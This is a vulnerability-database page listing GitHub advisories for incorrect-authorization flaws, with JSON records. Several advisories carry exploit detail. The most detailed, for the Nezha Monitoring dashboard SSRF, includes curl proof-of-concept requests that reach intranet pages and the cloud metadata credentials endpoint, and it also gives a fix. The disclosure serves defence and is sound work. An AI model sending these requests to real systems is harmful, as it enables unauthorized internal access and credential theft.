GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

6551 vulnerabilities reference this CWE, most recent first.

GHSA-W495-R927-3GP6

Vulnerability from github – Published: 2024-06-20 06:30 – Updated: 2024-06-20 06:30
VLAI
Details

The Slider and Carousel slider by Depicter plugin for WordPress is vulnerable to Arbitrary Nonce Generation in all versions up to, and including, 3.0.2. This makes it possible for authenticated attackers with contributor access and above, to generate a valid nonce for any WordPress action/function. This could be used to invoke functionality that is protected only by nonce checks.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-4390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-20T04:15:17Z",
    "severity": "MODERATE"
  },
  "details": "The Slider and Carousel slider by Depicter plugin for WordPress is vulnerable to Arbitrary Nonce Generation in all versions up to, and including, 3.0.2. This makes it possible for authenticated attackers with contributor access and above, to generate a valid nonce for any WordPress action/function. This could be used to invoke functionality that is protected only by nonce checks.",
  "id": "GHSA-w495-r927-3gp6",
  "modified": "2024-06-20T06:30:54Z",
  "published": "2024-06-20T06:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4390"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/SecurityAjaxController.php#L14"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3103357%40depicter%2Ftrunk\u0026old=3090538%40depicter%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dd7c3a5d-b8aa-45cb-983c-55ba7e3d72f3?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W49G-9F3F-C384

Vulnerability from github – Published: 2024-08-20 21:30 – Updated: 2024-09-27 18:32
VLAI
Details

An Incorrect Authorization vulnerability was identified in GitHub Enterprise Server, allowing an attacker to update the title, assignees, and labels of any issue inside a public repository. This was only exploitable inside a public repository. This vulnerability affected GitHub Enterprise Server versions before 3.14 and was fixed in versions 3.13.3, 3.12.8, and 3.11.14. Versions 3.10 of GitHub Enterprise Server are not affected. This vulnerability was reported via the GitHub Bug Bounty program.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Amber
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-7711"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-20T20:15:10Z",
    "severity": "MODERATE"
  },
  "details": "An Incorrect Authorization vulnerability was identified in GitHub Enterprise Server, allowing an attacker to update the title, assignees, and labels of any issue inside a public repository. This was only exploitable inside a public repository. This vulnerability affected GitHub Enterprise Server versions before 3.14 and was fixed in versions 3.13.3, 3.12.8, and 3.11.14. Versions 3.10 of GitHub Enterprise Server are not affected. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-w49g-9f3f-c384",
  "modified": "2024-09-27T18:32:21Z",
  "published": "2024-08-20T21:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7711"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.14"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.12/admin/release-notes#3.12.8"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.13/admin/release-notes#3.13.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:D/RE:L/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W4G9-MXGG-J532

Vulnerability from github – Published: 2026-05-23 00:08 – Updated: 2026-06-26 21:28
VLAI
Summary
Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification
Details

Summary

nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response.

Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.

Affected versions

Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.

Reachability chain

cmd/dashboard/controller/controller.go:121-122
    auth.GET("/notification", listHandler(listNotification))
    auth.POST("/notification", commonHandler(createNotification))   // <-- commonHandler, not adminHandler

For comparison, /user routes ARE gated by adminHandler:

auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))

adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.

The vulnerable handler

// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
    var nf model.NotificationForm
    if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
    var n model.Notification
    n.UserID = getUid(c)
    n.Name = nf.Name
    n.RequestMethod = nf.RequestMethod
    n.RequestType = nf.RequestType
    n.RequestHeader = nf.RequestHeader
    n.RequestBody = nf.RequestBody
    n.URL = nf.URL
    ...
    ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
    if !nf.SkipCheck {
        if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
            return 0, err   // <-- err.Error() reflects up to caller via newErrorResponse
        }
    }
    ...
}

Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.

The reflection sink

// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
    var client *http.Client
    n := ns.Notification
    if n.VerifyTLS != nil && *n.VerifyTLS {
        client = utils.HttpClient
    } else {
        client = utils.HttpClientSkipTlsVerify
    }
    reqBody, err := ns.reqBody(message)
    if err != nil { return err }
    reqMethod, err := n.reqMethod()
    if err != nil { return err }
    req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
    if err != nil { return err }
    n.setContentType(req)
    if err := n.setRequestHeader(req); err != nil { return err }
    resp, err := client.Do(req)
    if err != nil { return err }
    defer func() { _ = resp.Body.Close() }()
    if resp.StatusCode < 200 || resp.StatusCode > 299 {
        body, _ := io.ReadAll(resp.Body)   // <-- NO io.LimitReader
        return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
    } else {
        _, _ = io.Copy(io.Discard, resp.Body)
    }
    return nil
}

The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.

Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.

PoC

A. Read intranet admin-panel response body

curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

Response:

{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}

B. AWS IMDSv2 reachability + body leak

curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.

C. DoS via large internal file

Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.

Suggested fix

  1. Switch /notification routes to adminHandler. Same fix for /alert-rule, /cron, /ddns if they also issue user-URL requests synchronously. Compare with how /user is already guarded.

go auth.POST("/notification", adminHandler(createNotification)) auth.PATCH("/notification/:id", adminHandler(updateNotification))

  1. SSRF-harden NotificationServerBundle.Send():
  2. Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT.
  3. Pin http.Transport.DialContext to the resolved IP — closes DNS-rebinding TOCTOU.

  4. Refuse non-http(s) schemes.

  5. Cap response body: io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors.

  6. Reconsider VerifyTLS=false toggle on RoleMember-reachable paths — if the route remains member-reachable, at minimum cert validation should be enforced.

Severity

  • CVSS 3.1: Medium — AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L ≈ 6.4. PR:L because attacker needs a RoleMember account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.
  • Auth: authenticated RoleMember (Role == 1).

Reproduction environment

  • Tested against: nezhahq/nezha:v0.x (commit 50dc8e660326b9f22990898142c58b7a5312b42a).
  • Code locations:
  • Handler: cmd/dashboard/controller/notification.go:46-83, 97-146
  • Sink: model/notification.go:113-159
  • Auth gate: cmd/dashboard/controller/controller.go:121-122 (commonHandler), 214-236 (handler defs)

Reporter

Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports — happy to also send via email if the maintainer prefers.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nezhahq/nezha"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.14.15-0.20260517022419-d06d539d34c1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-23T00:08:04Z",
    "nvd_published_at": "2026-06-12T22:16:50Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nnezha\u0027s dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The notification routes `POST /api/v1/notification` and `PATCH /api/v1/notification/:id` are wired through `commonHandler` rather than `adminHandler` \u2014 so a `RoleMember` user can call them. These handlers synchronously `Send()` an HTTP request to a user-controlled URL and reflect the *entire* response body (no size limit) back to the caller on any non-2xx response.\n\nNet effect: a low-privilege `RoleMember` can read intranet HTTP response bodies via the dashboard\u0027s hub.\n\n## Affected versions\n\nCommit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.\n\n## Reachability chain\n\n```\ncmd/dashboard/controller/controller.go:121-122\n    auth.GET(\"/notification\", listHandler(listNotification))\n    auth.POST(\"/notification\", commonHandler(createNotification))   // \u003c-- commonHandler, not adminHandler\n```\n\nFor comparison, `/user` routes ARE gated by `adminHandler`:\n\n```\nauth.GET(\"/user\", adminHandler(listUser))\nauth.POST(\"/user\", adminHandler(createUser))\nauth.POST(\"/batch-delete/user\", adminHandler(batchDeleteUser))\n```\n\n`adminHandler` (controller.go:220-236) explicitly enforces `user.Role.IsAdmin()`. `commonHandler` (controller.go:214-218) does not.\n\n## The vulnerable handler\n\n```go\n// cmd/dashboard/controller/notification.go:46-83\nfunc createNotification(c *gin.Context) (uint64, error) {\n    var nf model.NotificationForm\n    if err := c.ShouldBindJSON(\u0026nf); err != nil { return 0, err }\n    var n model.Notification\n    n.UserID = getUid(c)\n    n.Name = nf.Name\n    n.RequestMethod = nf.RequestMethod\n    n.RequestType = nf.RequestType\n    n.RequestHeader = nf.RequestHeader\n    n.RequestBody = nf.RequestBody\n    n.URL = nf.URL\n    ...\n    ns := model.NotificationServerBundle{Notification: \u0026n, Server: nil, Loc: singleton.Loc}\n    if !nf.SkipCheck {\n        if err := ns.Send(singleton.Localizer.T(\"a test message\")); err != nil {\n            return 0, err   // \u003c-- err.Error() reflects up to caller via newErrorResponse\n        }\n    }\n    ...\n}\n```\n\nIdentical pattern in `updateNotification` (PATCH /notification/:id) at lines 97-146.\n\n## The reflection sink\n\n```go\n// model/notification.go:113-159\nfunc (ns *NotificationServerBundle) Send(message string) error {\n    var client *http.Client\n    n := ns.Notification\n    if n.VerifyTLS != nil \u0026\u0026 *n.VerifyTLS {\n        client = utils.HttpClient\n    } else {\n        client = utils.HttpClientSkipTlsVerify\n    }\n    reqBody, err := ns.reqBody(message)\n    if err != nil { return err }\n    reqMethod, err := n.reqMethod()\n    if err != nil { return err }\n    req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))\n    if err != nil { return err }\n    n.setContentType(req)\n    if err := n.setRequestHeader(req); err != nil { return err }\n    resp, err := client.Do(req)\n    if err != nil { return err }\n    defer func() { _ = resp.Body.Close() }()\n    if resp.StatusCode \u003c 200 || resp.StatusCode \u003e 299 {\n        body, _ := io.ReadAll(resp.Body)   // \u003c-- NO io.LimitReader\n        return fmt.Errorf(\"%d@%s %s\", resp.StatusCode, resp.Status, string(body))\n    } else {\n        _, _ = io.Copy(io.Discard, resp.Body)\n    }\n    return nil\n}\n```\n\nThe full body (no size limit) is concatenated into an error string. That error flows through `commonHandler \u2192 handle() \u2192 newErrorResponse(err) \u2192 c.JSON(http.StatusOK, ...)`. The intranet response body is JSON-encoded back to the `RoleMember` caller.\n\nAdditional wrinkle: `client = utils.HttpClientSkipTlsVerify` when `VerifyTLS` is false \u2014 attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.\n\n## PoC\n\n### A. Read intranet admin-panel response body\n\n```bash\ncurl -X POST -H \"Authorization: Bearer \u003cmember-jwt\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"x\",\"url\":\"http://192.168.1.1/admin/index.html\",\"request_method\":1,\"request_type\":1,\"verify_tls\":false,\"skip_check\":false}\u0027 \\\n  http://nezha-dashboard.example.com/api/v1/notification\n```\n\nResponse:\n```json\n{\"success\":false,\"error\":\"401@Unauthorized \u003cfull HTML body of the admin login page, no size limit\u003e\"}\n```\n\n### B. AWS IMDSv2 reachability + body leak\n\n```bash\ncurl -X POST -H \"Authorization: Bearer \u003cmember-jwt\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"x\",\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"request_method\":1,\"request_type\":1,\"verify_tls\":false,\"skip_check\":false}\u0027 \\\n  http://nezha-dashboard.example.com/api/v1/notification\n```\n\nIMDSv2 returns 401 with a body explaining the missing token; that body is reflected.\n\n### C. DoS via large internal file\n\nBecause the body is read via unbounded `io.ReadAll`, a `RoleMember` pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.\n\n## Suggested fix\n\n1. **Switch /notification routes to `adminHandler`.** Same fix for `/alert-rule`, `/cron`, `/ddns` if they also issue user-URL requests synchronously. Compare with how `/user` is already guarded.\n\n   ```go\n   auth.POST(\"/notification\", adminHandler(createNotification))\n   auth.PATCH(\"/notification/:id\", adminHandler(updateNotification))\n   ```\n\n2. **SSRF-harden `NotificationServerBundle.Send()`:**\n   - Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT.\n   - Pin `http.Transport.DialContext` to the resolved IP \u2014 closes DNS-rebinding TOCTOU.\n   - Refuse non-http(s) schemes.\n\n3. **Cap response body**: `io.LimitReader(resp.Body, 4096)`. 4 KB is plenty for surfacing webhook errors.\n\n4. **Reconsider `VerifyTLS=false` toggle on RoleMember-reachable paths** \u2014 if the route remains member-reachable, at minimum cert validation should be enforced.\n\n## Severity\n\n- **CVSS 3.1:** Medium \u2014 `AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L` \u2248 6.4. PR:L because attacker needs a `RoleMember` account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.\n- **Auth:** authenticated `RoleMember` (Role == 1).\n\n## Reproduction environment\n\n- Tested against: `nezhahq/nezha:v0.x` (commit `50dc8e660326b9f22990898142c58b7a5312b42a`).\n- Code locations:\n  - Handler: `cmd/dashboard/controller/notification.go:46-83, 97-146`\n  - Sink: `model/notification.go:113-159`\n  - Auth gate: `cmd/dashboard/controller/controller.go:121-122` (commonHandler), 214-236 (handler defs)\n\n## Reporter\n\nEddie Ran. Filed via reporter API (PVR enabled). nezha\u0027s `SECURITY.md` mentions email `hi@nai.ba` for vulnerability reports \u2014 happy to also send via email if the maintainer prefers.",
  "id": "GHSA-w4g9-mxgg-j532",
  "modified": "2026-06-26T21:28:27Z",
  "published": "2026-05-23T00:08:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-w4g9-mxgg-j532"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46717"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/commit/d06d539d34c143d842b91e2a64326e8c8f9bc405"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nezhahq/nezha"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification"
}

GHSA-W4H6-H99G-8XHR

Vulnerability from github – Published: 2026-08-19 06:31 – Updated: 2026-08-19 06:31
VLAI
Details

An incorrect authorization vulnerability exists in acmailer, which may allow a user to create a sub-account that has administrative privileges.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-70408"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T05:17:05Z",
    "severity": "HIGH"
  },
  "details": "An incorrect authorization vulnerability exists in acmailer, which may allow a user to create a sub-account that has administrative privileges.",
  "id": "GHSA-w4h6-h99g-8xhr",
  "modified": "2026-08-19T06:31:17Z",
  "published": "2026-08-19T06:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70408"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN47716829"
    },
    {
      "type": "WEB",
      "url": "https://www.acmailer.jp/info/de.cgi?id=119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W4M5-JXQR-PF8G

Vulnerability from github – Published: 2022-02-09 00:00 – Updated: 2022-02-09 00:00
VLAI
Details

Account Hijacking in /northstar/Admin/changePassword.jsp in Northstar Technologies Inc NorthStar Club Management 6.3 allows remote authenticated users to change the password of any targeted user accounts via lack of proper authorization in the user-controlled "userID" parameter of the HTTP POST request.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-29394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-04T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Account Hijacking in /northstar/Admin/changePassword.jsp in Northstar Technologies Inc NorthStar Club Management 6.3 allows remote authenticated users to change the password of any targeted user accounts via lack of proper authorization in the user-controlled \"userID\" parameter of the HTTP POST request.",
  "id": "GHSA-w4m5-jxqr-pf8g",
  "modified": "2022-02-09T00:00:37Z",
  "published": "2022-02-09T00:00:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29394"
    },
    {
      "type": "WEB",
      "url": "https://ardent-security.com"
    },
    {
      "type": "WEB",
      "url": "https://ardent-security.com/en/advisory/asa-2021-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W4MH-9FW9-766V

Vulnerability from github – Published: 2022-05-05 00:00 – Updated: 2022-05-12 00:01
VLAI
Details

Multiple vulnerabilities in Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an attacker to escape from the guest virtual machine (VM) to the host machine, inject commands that execute at the root level, or leak system data from the host to the VM. For more information about these vulnerabilities, see the Details section of this advisory.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-20777"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-04T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Multiple vulnerabilities in Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an attacker to escape from the guest virtual machine (VM) to the host machine, inject commands that execute at the root level, or leak system data from the host to the VM. For more information about these vulnerabilities, see the Details section of this advisory.",
  "id": "GHSA-w4mh-9fw9-766v",
  "modified": "2022-05-12T00:01:01Z",
  "published": "2022-05-05T00:00:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/orangecertcc/security-research/security/advisories/GHSA-v56f-9gq3-rx3g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20777"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-NFVIS-MUL-7DySRX9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4PH-XFMV-G57Q

Vulnerability from github – Published: 2026-08-21 12:30 – Updated: 2026-08-21 12:30
VLAI
Details

The Passster WordPress plugin before 4.3.9 does not correctly match its own public endpoint paths when deciding which REST API requests may bypass global password protection, comparing them as an unanchored substring of the request URI rather than against the resolved route, allowing an unauthenticated attacker to read the content of globally password-protected posts and pages.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-17559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-21T12:16:24Z",
    "severity": "MODERATE"
  },
  "details": "The Passster WordPress plugin before 4.3.9 does not correctly match its own public endpoint paths when deciding which REST API requests may bypass global password protection, comparing them as an unanchored substring of the request URI rather than against the resolved route, allowing an unauthenticated attacker to read the content of globally password-protected posts and pages.",
  "id": "GHSA-w4ph-xfmv-g57q",
  "modified": "2026-08-21T12:30:33Z",
  "published": "2026-08-21T12:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17559"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/28a48c1c-e162-4e8a-b450-5568fb3a3fc8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4PP-RHHP-QJ56

Vulnerability from github – Published: 2025-03-11 15:31 – Updated: 2025-03-11 15:31
VLAI
Details

An incorrect authorization vulnerability [CWE-863] in FortiSIEM 7.2 all versions, 7.1 all versions, 7.0 all versions, 6.7 all versions, 6.6 all versions, 6.5 all versions, 6.4 all versions, 6.3 all versions, 6.2 all versions, 6.1 all versions, 5.4 all versions, 5.3 all versions, may allow an authenticated attacker to perform unauthorized operations on incidents via crafted HTTP requests.

Severity
3.8 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-55592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-11T15:15:43Z",
    "severity": "LOW"
  },
  "details": "An incorrect authorization vulnerability [CWE-863] in FortiSIEM 7.2 all versions, 7.1 all versions, 7.0 all versions, 6.7 all versions, 6.6 all versions, 6.5 all versions, 6.4 all versions, 6.3 all versions, 6.2 all versions, 6.1 all versions, 5.4 all versions, 5.3 all versions, may allow an authenticated attacker to perform unauthorized operations on incidents via crafted HTTP requests.",
  "id": "GHSA-w4pp-rhhp-qj56",
  "modified": "2025-03-11T15:31:02Z",
  "published": "2025-03-11T15:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55592"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-377"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4RJ-XPVG-FX9Q

Vulnerability from github – Published: 2023-02-03 18:30 – Updated: 2023-02-10 03:30
VLAI
Details

Incorrect Access Control vulnerability in Modern Honey Network commit 0abf0db9cd893c6d5c727d036e1f817c02de4c7b allows remote attackers to view sensitive information via crafted PUT request to Web API.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-37234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-352",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-03T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect Access Control vulnerability in Modern Honey Network commit 0abf0db9cd893c6d5c727d036e1f817c02de4c7b allows remote attackers to view sensitive information via crafted PUT request to Web API.",
  "id": "GHSA-w4rj-xpvg-fx9q",
  "modified": "2023-02-10T03:30:20Z",
  "published": "2023-02-03T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37234"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pwnlandia/mhn/issues/809"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4V4-9RW7-5326

Vulnerability from github – Published: 2026-09-10 23:04 – Updated: 2026-09-10 23:04
VLAI
Summary
Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization
Details

Summary

There is a high-severity request-smuggling vulnerability in Traefik's handling of the HTTP/1.1 Upgrade mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated Upgrade: h2c request header and its connection-specific HTTP2-Settings header were forwarded to the backend. A backend that honours the h2c upgrade and answers 101 Switching Protocols puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the Upgrade: h2c token and the HTTP2-Settings header; Upgrade: websocket is unaffected. Exploitation requires a backend that upgrades h2c without validating the Connection listing; common off-the-shelf servers were not exploitable in testing.

